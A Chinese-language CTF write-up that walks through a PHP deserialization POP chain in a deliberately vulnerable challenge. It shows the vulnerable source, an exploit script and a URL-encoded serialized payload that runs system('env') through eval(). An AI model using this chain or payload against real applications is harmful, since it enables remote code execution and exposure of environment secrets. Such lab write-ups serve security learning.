这道题确实是很简单的一条链子,但是有一个知识点,要是不会的话,就很难办
<?php
class class000 {
private $payl0ad = 0;
protected $what;
public function __destruct()
{
$this->check();
}
public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}
class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}
class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
}
class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}
先把源码给一下,这里我们看一下这里的利用链很清晰,就是从class000到class003,一路下来也很通畅
链子的起点就是class000,这里的话我们需要绕过这个check(),但是这里的private $payl0ad = 0;
被写死了,是private属性的
那么我们就用这个__construct这个魔术方法进行对私有属性修改,这里的what用来触发class001的invoke()方法。
如果说调用一个不存在的属性的话,会触发该类的set方法,这里我们将class001类的$a设置为class002的实例,会触发class002的
set方法,class001还有一个属性就是$payl0ad,这里写入我们想要触发的class001的方法就是dangerous,这个dangerous可以触发
class003的evvval()方法,这里的参数是class002的sec,这里我们实例化class003。
做到这里的时候,差不多就要命令执行了,但是有一个问题就是
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
这里的evvval传入的参数是一个sec,这个sec是一个实例化的对象class003,这个已经是写死了,我们怎么命令执行呢
我们看一下class003这个类
class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
这里除了这个evvval()方法还有一个toString()这个魔术方法,我们知道eval这个函数是将我们传入的东西当作字符串执行,这里在执行
eval('new class003()')
的时候把对象当成字符串自动触发toString()方法,然后返回字符串,这里填写我们想要执行的命令
exp
<?php
class class000 {
private $payl0ad;
protected $what;
public function __construct()
{
$this->payl0ad = 1;
$this->what = new class001();
}
}
class class001 {
public $payl0ad;
public $a;
public function __construct()
{
$this->a=new class002();
$this->payl0ad = "dangerous";
}
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}
class class002 {
private $sec;
public function __construct()
{
$this->sec=new class003();
}
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
}
class class003 {
public $mystr;
public function __tostring()
{
return $this->mystr;
}
public function __construct()
{
$this->mystr = "system('env');";
}
public function evvval($str)
{
eval($str);
}
}
$A = new class000();
echo urlencode(serialize($A));
生成的payload
O%3A8%3A%22class000%22%3A2%3A%7Bs%3A17%3A%22%00class000%00payl0ad%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00what%22%3BO%3A8%3A%22class001%22%3A2%3A%7Bs%3A7%3A%22payl0ad%22%3Bs%3A9%3A%22dangerous%22%3Bs%3A1%3A%22a%22%3BO%3A8%3A%22class002%22%3A1%3A%7Bs%3A13%3A%22%00class002%00sec%22%3BO%3A8%3A%22class003%22%3A1%3A%7Bs%3A5%3A%22mystr%22%3Bs%3A14%3A%22system%28%27env%27%29%3B%22%3B%7D%7D%7D%7D